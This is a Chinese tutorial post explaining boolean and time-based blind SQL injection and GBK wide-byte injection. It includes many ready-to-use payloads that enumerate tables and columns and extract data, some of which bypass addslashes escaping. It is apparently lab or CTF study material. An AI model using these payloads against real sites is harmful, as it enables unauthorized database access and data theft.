SQL注入篇学习之盲注/宽字节注入


Posted in MySQL onMarch 03, 2022

盲注

有时目标存在注入,但在页面上没有任何回显,此时,我们需要利用一些方法进行判断或者尝试得到数据,这个过程称之为盲注。

时间盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过时间注入多一个if()

布尔盲注

布尔很明显就是true和false,也就是说它只会根据信息返回true和false,也就是没有了之前的报错信息。

时间盲注

界面返回值只有一种true,无论输入任何值,返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。

盲注函数

length() 函数 返回字符串的长度

?id=1 and length(database())>1

substr() 截取字符串 , 从第一位截取一个

?id=1 and substr(database(),1,1)='k'

ord()/ascii() 返回字符的ascii码

?id=1 and ord(substr(database(),1,1))=107

limit 0,1 显示第一条

substr(截取的内容,截取的位数,截取的个数)

substr(database(),1,1) 显示第一位字符

时间型:sleep(n) 将程序挂起一段时间,n为n秒

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句,如果错误执行第三个语句

?id=1' and if(length(database())=8,1,sleep(5))-- +

演示语句

猜数据库的长度;
?id=1 and (length(database()))>11#

猜测数据库的库名:
?id=1 and ascii(substr(database(),1,1))>1#

猜表名(示例为查询第一个表名)
and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6     //注意括号问题

and substr((select table_name from information_schema.tables where table_schema='kanwolongxia' limit 0,1),1,1)='l'     

猜第一个字段名第一个字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),1,1)='i'  

猜第一个字段名第二个字符:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 0,1),2,1)='i'  


猜第二个字段名:
and substr((select column_name from information_schema.columns where table_name='loflag' limit 1,1),2,1)='l'#  

猜字段中的内容:
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122

时间盲注猜测数据库的长度:
?id=1" and if(length(database())=12,sleep(5),1) -- +

猜测数据库的库名:
if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+

猜测数据库中表的长度:
?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,sleep(5),1) -- +

猜测数据库中的表名:
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=120,sleep(5),1) -- +

猜测表中的字段名的长度:
?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1))=2,sleep(5),111) -- +

猜测表中的字段名:
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='loflag' limit 0,1),1,1))=73,sleep(5),111) -- +

猜测字段中内容的长度:
?id=1" and if(length((select flaglo from loflag limit 0,1))=111,sleep(5),111) -- +

猜测字段中的内容:
?id=1" and if((ascii(substr((select flaglo from loflag limit 0,1),1,1)))=120,sleep(5),111) -- +

burp抓包演示

先判断长度,再判断内容

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

宽字节注入

php魔术函数

  • magic_quotes_gpc(魔术引号开关)——> 防御sql注入
  • magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误,防止注入使其无法闭合。
  • 单引号(’)、双引号(”)、反斜线(\)等字符都会被加上反斜线

开启方式

SQL注入篇学习之盲注/宽字节注入

php在版本5.4开始将魔术引号的设置转化为特定函数addalashes()使用,$b = addcslashes($_REQUEST[8]);不在配置文件中打开【原因是将安全编码交给了用户自己,避免用户过度依赖造成安全隐患】,或者在php.ini中修改。

开启效果

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

SQL注入篇学习之盲注/宽字节注入

作用

当PHP的传参中有特殊字符就会再前面加转义字符’\’,来做一定的过滤

绕过方法

单引号和双引号内的一切都是字符串,那我们输入的东西如果不能闭合掉单引号和双引号,我们的输入就不会当作代码执行,就无法产生SQL注入,那我们该怎么办?

  • 不需要闭合
  • 仔细查看作用域(POST、GET、COOKIE),$_SERVER就在作用域之外。
  • 宽字节注入

宽字节注入

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如我国的gbk、gb2312,作为自己默认的编码类型。也有一些cms为了考虑老用户,推出了gbk和utf-8两个版本(例如:dedecms)
我们就以gbk字符编码为例,拉开帷幕。GBK【双字符编码】全称《汉字内码扩展规范》,gbk是一种多字符编码【多个字符组在一起成为一个字】。他使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。

  • 核心:传一个字符将反斜杠吃掉成为汉字
  • 数据库使用GBK编码可能存在宽字节注入
  • MySql的编码设置:SET NAMES 'gbk'或是 SET character_set_client =gbk
  • 宽字节SQL注入就是PHP发送请求到MySql时使用了语句
  • SET NAMES 'gbk' 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
  • %df \、%9c \ ——>汉字
  • 绕过其中的单引号等字符,除了采用嵌套法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)-- +
  • 也可以采用十六进制标识法?id=1%df' union select 1,2, column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 1,1-- +
  • 宽字节注入可以直接传入汉字

SQL注入篇学习之盲注/宽字节注入

总结 

到此这篇关于SQL注入篇学习之盲注/宽字节注入的文章就介绍到这了,更多相关SQL盲注/宽字节注入内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
MySQL数据库压缩版本安装与配置详细教程
May 21 MySQL
.Net Core导入千万级数据至Mysql的步骤
May 24 MySQL
MySQL系列之九 mysql查询缓存及索引
Jul 02 MySQL
SQL实现LeetCode(197.上升温度)
Aug 07 MySQL
SQL语法CONSTRAINT约束操作详情
Jan 18 MySQL
一文弄懂MySQL索引创建原则
Feb 28 MySQL
解析MySQL索引的作用
Mar 03 MySQL
MySQL创建管理HASH分区
Apr 13 MySQL
MySQL 数据 data 基本操作
May 04 MySQL
MySQL 原理优化之Group By的优化技巧
Aug 14 MySQL
mysql通过group by分组取最大时间对应数据的两种有效方法
Sep 23 MySQL
MySQL数据管理操作示例讲解
Dec 24 MySQL
MySQL为数据表建立索引的原则详解
Mar 03 #MySQL
MySQL数据库完全卸载的方法
千万级用户系统SQL调优实战分享
Mar 03 #MySQL
解析MySQL索引的作用
Arthas排查Kubernetes中应用频繁挂掉重启异常
Feb 28 #MySQL
一文搞懂MySQL索引页结构
MySQL七大JOIN的具体使用
You might like
将OICQ数据转成MYSQL数据
2006/10/09 PHP
php的chr和ord函数实现字符加减乘除运算实现代码
2011/12/05 PHP
eAccelerator的安装与使用详解
2013/06/13 PHP
浅谈PHP的排列组合(如输入a,b,c 输出他们的全部组合)
2017/03/14 PHP
jquery移动listbox的值原理及代码
2013/05/03 Javascript
浅析onsubmit校验表单时利用ajax的return false无效问题
2013/07/10 Javascript
js禁止页面刷新禁止用F5键刷新禁止右键的示例代码
2013/09/23 Javascript
Firefox中通过JavaScript复制数据到剪贴板(Copy to Clipboard 跨浏览器版)
2013/11/22 Javascript
javascript如何使用bind指定接收者
2014/05/04 Javascript
javascript实现任务栏消息提示的简单实例
2016/05/31 Javascript
Bootstrap学习系列之使用 Bootstrap Typeahead 组件实现百度下拉效果
2016/07/07 Javascript
微信小程序module.exports模块化操作实例浅析
2018/12/20 Javascript
JavaScript字符和ASCII实现互相转换
2020/06/03 Javascript
jdk1.8+vue elementui实现多级菜单功能
2020/09/24 Javascript
Python使用SocketServer模块编写基本服务器程序的教程
2016/07/12 Python
PyGame贪吃蛇的实现代码示例
2018/11/21 Python
python3使用pandas获取股票数据的方法
2018/12/22 Python
解决Python3 控制台输出InsecureRequestWarning问题
2019/07/15 Python
Python封装成可带参数的EXE安装包实例
2019/08/24 Python
Python 用三行代码提取PDF表格数据
2019/10/13 Python
如何在vscode中安装python库的方法步骤
2021/01/06 Python
python 实现Requests发送带cookies的请求
2021/02/08 Python
CSS3教程(2):网页边框半径和网页圆角
2009/04/02 HTML / CSS
adidas美国官网:adidas US
2016/09/21 全球购物
美国演唱会订票网站:Ticketmaster美国
2017/10/05 全球购物
JBL澳大利亚官方商店:扬声器、耳机和音响系统
2018/05/24 全球购物
商务英语专业自荐信
2013/10/14 职场文书
考博自荐信
2013/10/25 职场文书
教育实习生的自我评价分享
2013/11/21 职场文书
情况说明书格式范文
2014/05/06 职场文书
幼儿园教师师德师风演讲稿:爱我所爱 无悔青春
2014/09/10 职场文书
教师个人年终总结
2015/02/11 职场文书
导游词范文
2015/02/13 职场文书
2015年工商所工作总结
2015/05/21 职场文书
2016年度继续教育学习心得体会
2016/01/19 职场文书
2016年社区国庆节活动总结
2016/04/01 职场文书